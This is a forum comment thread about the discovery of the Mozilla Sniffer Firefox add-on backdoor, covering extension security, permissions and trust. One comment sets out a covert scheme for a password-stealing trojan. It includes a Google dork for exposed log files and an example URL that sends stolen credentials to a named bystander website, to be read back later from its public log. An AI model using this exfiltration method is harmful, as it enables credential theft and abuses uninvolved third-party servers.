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How the Mozilla Sniffer Backdoor Was Discovered
An anonymous reader writes "Mozilla pulled one of their Firefox add-ons earlier this week for containing a backdoor which stole passwords from its users. Netcraft has taken a closer look at how the rogue extension worked, and how it was discovered by chance rather than through any code review process. Mozilla are working on a new security model to stop this kind of backdoor happening again."
Looks like the stolen data was being sent to a hacked BlueHost account. Figures.
It is impossible to be sure, all sorts of surprisingly devious side channels have been devised(that, and some fairly dramatically invasive behavior by vendors has become accepted as normal; after all, only a freetard would object to an application phoning home routinely...); but for something like Opera, where "non-malicious" network activity is fairly easy to characterize, checking for malicious network activity is far from impossible, without even touching the binary(something like Skype, on the other hand, where the network activity is a big, fat, blackbox, is a lot trickier).
In this case, for instance, the malice was flagged by somebody watching network traffic, which is pretty trivial on any platform that doesn't have a bad case of being a console/iProduct. A purely binary, closed source, application could have been caught in exactly the same way.
There's no way to be sure of anything, but as far as risk goes, you have to admit that trusting one vendor with a financial stake in not having a privacy loss scandal is a lot easier than trusting any random person in the world who can submit a plugin to the mozilla site.
I'm a software developer, but I'm not going to go over every line of source code for the applications or plugins that I install on my computer. Seriously, even if you did, have you ever read along with or participated in code obfuscation contests? Many developers with malicious intent can make evil code look totally innocuous.
Why are you letting these clowns ruin our country?
I think the basic problem is that the nature of the browser makes it pretty difficult to create permission sets that usefully control behavior.
In this case, for instance, the extension was explicitly stated to be(and, as I understand it, was) an extension for examining and modifying HTTP/HTTPS headers, including stuff like GET requests, and the like. Because it was malicious, it was, in addition to whatever modifications the user was making, also issuing a separate little request of its own, with the contents of form fields, to an IP controlled by the author.
You could, on a permissions basis, do things like segregate "extensions that modify browser chrome and only browser chrome" and prevent them from modifying pages at all, and you certainly can(and should) draw a line between "extensions that muck about with pages" and "Extensions that do stuff to the local filesystem"; but given that most of the useful extensions tend to muck around with webpages themselves, that introduces a very difficult security problem.
With conventional permissions setups, you are applying permissions to a set of objects(usually files; but can also be database values, APIs, etc.) that you created and thus know the sensitivity of. A webpage, though, is a collection of objects that some third party created. Unless you have some very clever ideas about how to parse a webpage and automatically categorize the "sensitivity" of various parts of it, it is virtually impossible to meaningfully assign a permissions structure to it. An extension rewrites a script on a webpage: is it making the user more secure(by preventing doubleclick from learning something)? is it making the user less secure(by diverting information to a malicious host)?
Fine grained permissions are a good thing; but you really can't create a useful permissions system(no matter how well designed and granular it may be), if you have no useful way of knowing how valuable the various resources to which you are allowing/denying/conditionally allowing access are. Since web browsers do most of their useful work on masses of objects provided by third parties(currently without any sort of value metadata, and even if there were an adopted standard for providing such, 3rd party value judgments still wouldn't be at all trustworthy.) it is a really hard problem to build a permissions model that is actually useful rather than merely strict.
Reminds me of a line in Doctor Who's last season:
Amy: You don't always tell me the truth.
The Doctor: If I always told you the truth, I wouldn't have to ask you to trust me.
Trust is not a state of absolute certainty or God-like understanding. In the end, it's a process of establishing your own comfort. You have to decide which risks matter to you personally, and which assurances are sufficient.
Trying to guarantee that every component and piece of software in a computer is "benign" to everyone is a fruitless, endless process.
But I certainly appreciate the complications you bring up. In the final analysis, all trust must be conditional, and revocable.
--
Toro
I like most people as well!
The only issue with Opera is that they keep adding retarded things like BitTorrent downloading and built in web servers. It also doesn't help that they try to change the entire UI with every milestone.
I still don't see myself switching away any time soon.
When writing Trojans like this, there are several considerations that this author failed on.
1) Obscuring the code, so that it lasts longer, even upon scrutiny of the source.
2) Obscuring the password delivery mechanism to reduce the likelihood of detection of the code execution.
3) Obscure the password retrieval, to reduce the likelihood that the perpetrator would be caught, even if the authorities discover the code.
Much has been written about item 1, obscuring code. But I haven't seen much research describing items 2 or 3.
If I were writing the code, I would integrate the password theft and remote delivery into the main purpose of the code. For instance, say you wrote a plug-in whose function was to report to the user some information retrieved from Google and other sites. e.g. "This plug-in helps with Search Engine Optimization, by reporting potential keywords that can be added to the web page to increase results". With that sort of purpose, hits to Google and other sites wouldn't be suspected.
Some of my hits to Google would be to locate an open log file, with a Google Query like this query: "get / http/1.1" 200 mozilla filetype:log
Once I found a web server with a log file that was openly being displayed on the web, I'd pass the stolen information (stolen user name, stolen password, and site that this information can be used on) in the form of a URL, possibly encoding the payload information (I don't encode it below, for clarity).
Then my rouge program would request a few more pages from other sites that have open log files, just to obscure my activities, specifically requesting the log file page itself (and disposing of the results). I'll explain why this step is important later...
Example: Using my Google query above, I can see that bullyentertainment.com has its logfile exposed (sorry, bullyentertainment, you're just the first one on my list of hundreds of thousands of open logfiles). That means that my trojan horse can request a page on bullyentertainment.com, (like www.bullyentertainment.com/stolen_info?user=myuser&pwd=hunter2&site=gmail.com it will log my hit into that file - logging the stolen user name, password, and site information into a remote innocent bystander server. If my rouge program requests a page on bullyentertainment.com with some information encoded in the URL, I can effectively transfer the secret stolen information from the infected PC to an innocent bystander (bullyentertainment.com).
Then later, back at secret spy headquarters, I can use the same Google Query to locate log files that have my secret information in them, like www.bullyentertainment.com/logs/access.log which was a log file shown by my Google Query. I can follow the same pattern as the infected PC - first hit a page passing some URL containing secret information, and then retrieve the log file - so my activities ALSO look like an infected PC. But by retrieving the log file, I have retrieved all of the stolen passwords.
This technique is a way to pass stolen information back to the hacker without detection, by going through an intermediary. Because spy headquarters uses the same procedure as a hacked PC, it cannot easily be detected as the destination of the information. Use of proxies can further hinder attempts to catch the hacker. In a real hack, I'd encode the secret information, so that only I was able to easily decode it. But you get the idea.
PS If you test the above links, no harm, but your IP address will be logged (just as it is with any click), but it will be visible to other users on an exposed log file. No big deal, but I thought I'd mention it.
LOL
Extension of trust works as follows:
If you trust Bob, and Bob trusts Alice, you trust Alice.
However, no one ever fully trusts Bob.
So, more explicitly, extension of trust is as follows:
If you trust Bob to a degree, and Bob trusts Alice, you trust Alice to the same degree that you trust Bob.
But this is incorrect as well. Because Bob's trust relationship with Alice is also "to a degree". Let's try this again:
If you trust Bob to a degree, and Bob trusts Alice, you trust Alice only to the product of the two degrees.
Trust does degrade with each step in the relationship chain.
One of the most common "degrees" of trust is a restriction on forwarding that trust. We never actually "trust" Bob, we simply authorize him (as a supplier of code, a maintainer of data, etc.) to access our shit because we need to get shit done. The "trust" relationship is not freely given - privacy and access are sold in exchange for access to various services.
Thus, the degree of trust in an actual relationship is not a measure of actual trust, but a measure of what you are willing to risk.
The claim against the "you can only trust yourself" argument is that if you trust Bob, you must trust Alice in the same manner, because you are trusting Bob's integrity (who he chooses to trust). The claim is bullshit, because we never "trust" Bob - we simply accept a certain level of risk, and built into our threshold of acceptable risk is the restrictions on who Bob can extend that trust to.
The bottom line is that we can indeed choose to trust Bob completely and choose to not trust Alice at all. This is because the "trust" relationship is never actually based on trust - it is based on risk.